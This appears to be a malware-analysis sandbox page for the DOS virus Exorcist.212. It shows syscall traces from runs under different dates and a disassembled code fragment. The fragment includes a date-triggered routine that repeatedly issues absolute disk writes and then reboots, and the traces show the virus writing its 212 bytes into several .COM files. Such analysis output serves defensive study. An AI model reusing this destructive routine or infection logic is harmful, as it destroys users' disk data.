Sample viewer

vx.netlux.org/Virus.DOS.Exorcist.212

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:07:07.598565927Z 42 PC: 12a49 | Get date 0x12a49: cmp dl, 1
0x12a4c: je 0x12a50
0x12a4e: jne 0x12a64
0x12a50: mov ax, 2
0x12a53: mov cx, 0x3e7
0x12a56: cli
0x12a57: cdq
0x12a58: int 0x26
0x12a5a: dec ax
0x12a5b: cmp ax, 0xffff
0x12a5e: jne 0x12a58
0x12a60: sti
0x12a61: int 0x19
0x12a63: ret
0x12a64: mov ax, 0xfa01
0x12a67: mov dx, 0x5945
0x12a6a: int 0x16
0x12a6c: jmp 0x12a7c
0x12a6e: nop
0x12a6f: pop bx
2018-12-17T23:07:07.602420026Z 59 PC: 12a83 | Change current directory
2018-12-17T23:07:07.607554531Z 78 PC: 12a8c | Find first file
2018-12-17T23:07:07.616566706Z 61 PC: 12a96 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:07:07.633297118Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.636271479Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.643734306Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.646134346Z 61 PC: 12abf | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:07:07.654744925Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-17T23:07:07.659179423Z 87 PC: 12ad1 | Get or set file date and time
2018-12-17T23:07:07.661438273Z 62 PC: 12a8c | Close file
2018-12-17T23:07:07.676668032Z 61 PC: 12a96 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:07:07.691209907Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.697062278Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.70093662Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.703319622Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:07.706742965Z 61 PC: 12a96 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:07:07.714640113Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.717342358Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.724727974Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.727066491Z 61 PC: 12abf | Open file (Filename = 'PRINT.COM')
2018-12-17T23:07:07.736249268Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-17T23:07:07.738970311Z 87 PC: 12ad1 | Get or set file date and time
2018-12-17T23:07:07.740210292Z 62 PC: 12a8c | Close file
2018-12-17T23:07:07.745907682Z 61 PC: 12a96 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:07:07.750336896Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.75157927Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.75411482Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.755644865Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:07.757654297Z 61 PC: 12a96 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:07:07.76244888Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.763967782Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.771107544Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.773827284Z 61 PC: 12abf | Open file (Filename = 'HELLO.COM')
2018-12-17T23:07:07.794574063Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-17T23:07:07.79798988Z 87 PC: 12ad1 | Get or set file date and time
2018-12-17T23:07:07.799404239Z 62 PC: 12a8c | Close file
2018-12-17T23:07:07.807598606Z 61 PC: 12a96 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:07:07.815683469Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.817315117Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.821030321Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.823501112Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:07.826955586Z 61 PC: 12a96 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:07:07.835287578Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.836870273Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.843944627Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.846829302Z 61 PC: 12abf | Open file (Filename = 'PHANG.COM')
2018-12-17T23:07:07.854192972Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-17T23:07:07.857346444Z 87 PC: 12ad1 | Get or set file date and time
2018-12-17T23:07:07.859817488Z 62 PC: 12a8c | Close file
2018-12-17T23:07:07.868407002Z 61 PC: 12a96 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:07:07.875948936Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.877917877Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.882794455Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.884935884Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:07.887903595Z 61 PC: 12a96 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:07:07.896186947Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.898078218Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.905154829Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.908024272Z 61 PC: 12abf | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:07:07.915904893Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-17T23:07:07.919231705Z 87 PC: 12ad1 | Get or set file date and time
2018-12-17T23:07:07.921864643Z 62 PC: 12a8c | Close file
2018-12-17T23:07:07.92984157Z 61 PC: 12a96 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:07:07.937345645Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.939721175Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.943000758Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.945339602Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:07.948799888Z 61 PC: 12a96 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:07:07.957646416Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.959388917Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:07.96373632Z 62 PC: 12aac | Close file
2018-12-17T23:07:07.965948091Z 61 PC: 12abf | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:07:07.97041402Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-17T23:07:07.972521008Z 87 PC: 12ad1 | Get or set file date and time
2018-12-17T23:07:07.975644501Z 62 PC: 12a8c | Close file
2018-12-17T23:07:07.985018659Z 61 PC: 12a96 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:07:07.993509463Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:07.996508661Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:08.000219995Z 62 PC: 12aac | Close file
2018-12-17T23:07:08.002708243Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:08.006878947Z 61 PC: 12a96 | Open file (Filename = 'PAH.COM')
2018-12-17T23:07:08.014696863Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:08.016774215Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:08.025056221Z 62 PC: 12aac | Close file
2018-12-17T23:07:08.028102832Z 61 PC: 12abf | Open file (Filename = 'PAH.COM')
2018-12-17T23:07:08.035827926Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-17T23:07:08.039455039Z 87 PC: 12ad1 | Get or set file date and time
2018-12-17T23:07:08.042180733Z 62 PC: 12a8c | Close file
2018-12-17T23:07:08.051032279Z 61 PC: 12a96 | Open file (Filename = 'PAH.COM')
2018-12-17T23:07:08.058988865Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:08.061747326Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:08.064998022Z 62 PC: 12aac | Close file
2018-12-17T23:07:08.067302585Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:08.071191895Z 61 PC: 12a96 | Open file (Filename = 'TEST.COM')
2018-12-17T23:07:08.078781063Z 87 PC: 12a9c | Get or set file date and time
2018-12-17T23:07:08.080684273Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:08.084528036Z 62 PC: 12aac | Close file
2018-12-17T23:07:08.087182305Z 79 PC: 12a8c | Find next file
2018-12-17T23:07:08.090246808Z 9 PC: 12adf | Display string (String= 'Bad command or file name')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15764,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:44:30.632243288Z 42 PC: 12a49 | Get date 0x12a49: cmp dl, 1
0x12a4c: je 0x12a50
0x12a4e: jne 0x12a64
0x12a50: mov ax, 2
0x12a53: mov cx, 0x3e7
0x12a56: cli
0x12a57: cdq
0x12a58: int 0x26
0x12a5a: dec ax
0x12a5b: cmp ax, 0xffff
0x12a5e: jne 0x12a58
0x12a60: sti
0x12a61: int 0x19
0x12a63: ret
0x12a64: mov ax, 0xfa01
0x12a67: mov dx, 0x5945
0x12a6a: int 0x16
0x12a6c: jmp 0x12a7c
0x12a6e: nop
0x12a6f: pop bx

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15764,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:44:30.669192167Z 42 PC: 12a49 | Get date 0x12a49: cmp dl, 1
0x12a4c: je 0x12a50
0x12a4e: jne 0x12a64
0x12a50: mov ax, 2
0x12a53: mov cx, 0x3e7
0x12a56: cli
0x12a57: cdq
0x12a58: int 0x26
0x12a5a: dec ax
0x12a5b: cmp ax, 0xffff
0x12a5e: jne 0x12a58
0x12a60: sti
0x12a61: int 0x19
0x12a63: ret
0x12a64: mov ax, 0xfa01
0x12a67: mov dx, 0x5945
0x12a6a: int 0x16
0x12a6c: jmp 0x12a7c
0x12a6e: nop
0x12a6f: pop bx
2018-12-25T12:44:30.672394579Z 59 PC: 12a83 | Change current directory
2018-12-25T12:44:30.676691005Z 78 PC: 12a8c | Find first file
2018-12-25T12:44:30.682863884Z 61 PC: 12a96 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:44:30.692500939Z 87 PC: 12a9c | Get or set file date and time
2018-12-25T12:44:30.694012925Z 63 PC: 12aa8 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:44:30.700415518Z 62 PC: 12aac | Close file
2018-12-25T12:44:30.702691804Z 61 PC: 12abf | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:44:30.710266308Z 64 PC: 12aca | Write file or device (Write 212 bytes on handle 5)
2018-12-25T12:44:30.714365158Z 87 PC: 12ad1 | Get or set file date and time
2018-12-25T12:44:30.716208731Z 62 PC: 12a8c | Close file (See above)
2018-12-25T12:44:30.726600789Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.730639119Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.731856344Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.741458604Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.742860437Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:30.744706933Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.749390726Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.750557304Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.754604188Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.756981942Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:44:30.763451451Z 64 PC: 12aca | Write file or device (See above)
2018-12-25T12:44:30.765951417Z 87 PC: 12ad1 | Get or set file date and time (See above)
2018-12-25T12:44:30.768019659Z 62 PC: 12a8c | Close file (See above)
2018-12-25T12:44:30.775349658Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.787781244Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.789844362Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.796120153Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.798146943Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:30.802258915Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.808905419Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.809923886Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.816391063Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.818391486Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:44:30.825024861Z 64 PC: 12aca | Write file or device (See above)
2018-12-25T12:44:30.828423636Z 87 PC: 12ad1 | Get or set file date and time (See above)
2018-12-25T12:44:30.830268617Z 62 PC: 12a8c | Close file (See above)
2018-12-25T12:44:30.837246853Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.844457404Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.846181879Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.848946101Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.851149228Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:30.854836738Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.861711538Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.863219966Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.8689385Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.870278074Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:44:30.874396243Z 64 PC: 12aca | Write file or device (See above)
2018-12-25T12:44:30.876872987Z 87 PC: 12ad1 | Get or set file date and time (See above)
2018-12-25T12:44:30.878063766Z 62 PC: 12a8c | Close file (See above)
2018-12-25T12:44:30.882763455Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.887967949Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.889013652Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.890762835Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.892501376Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:30.894347398Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.898422287Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.900161164Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.904503122Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.90577128Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:44:30.913799502Z 64 PC: 12aca | Write file or device (See above)
2018-12-25T12:44:30.918352249Z 87 PC: 12ad1 | Get or set file date and time (See above)
2018-12-25T12:44:30.919712513Z 62 PC: 12a8c | Close file (See above)
2018-12-25T12:44:30.92462111Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.929167526Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.930228523Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.932633272Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.933929174Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:30.935808197Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.940692768Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.943009157Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.94773794Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.949689811Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:44:30.953802195Z 64 PC: 12aca | Write file or device (See above)
2018-12-25T12:44:30.955725113Z 87 PC: 12ad1 | Get or set file date and time (See above)
2018-12-25T12:44:30.957416016Z 62 PC: 12a8c | Close file (See above)
2018-12-25T12:44:30.96210352Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.966273021Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.967856465Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.969619798Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.970855872Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:30.973100892Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:30.977286685Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:30.978314377Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:30.982688991Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:30.983903639Z 61 PC: 12abf | Open file (See above)
2018-12-25T12:44:30.99079324Z 64 PC: 12aca | Write file or device (See above)
2018-12-25T12:44:30.995434602Z 87 PC: 12ad1 | Get or set file date and time (See above)
2018-12-25T12:44:30.99693355Z 62 PC: 12a8c | Close file (See above)
2018-12-25T12:44:31.002313093Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:31.007217923Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:31.008502329Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:31.010884324Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:31.013031331Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:31.015473589Z 61 PC: 12a96 | Open file (See above)
2018-12-25T12:44:31.021505504Z 87 PC: 12a9c | Get or set file date and time (See above)
2018-12-25T12:44:31.023155068Z 63 PC: 12aa8 | Read file or device (See above)
2018-12-25T12:44:31.029694627Z 62 PC: 12aac | Close file (See above)
2018-12-25T12:44:31.031794265Z 79 PC: 12a8c | Find next file (See above)
2018-12-25T12:44:31.035219493Z 9 PC: 12adf | Display string (String= 'Bad command or file name')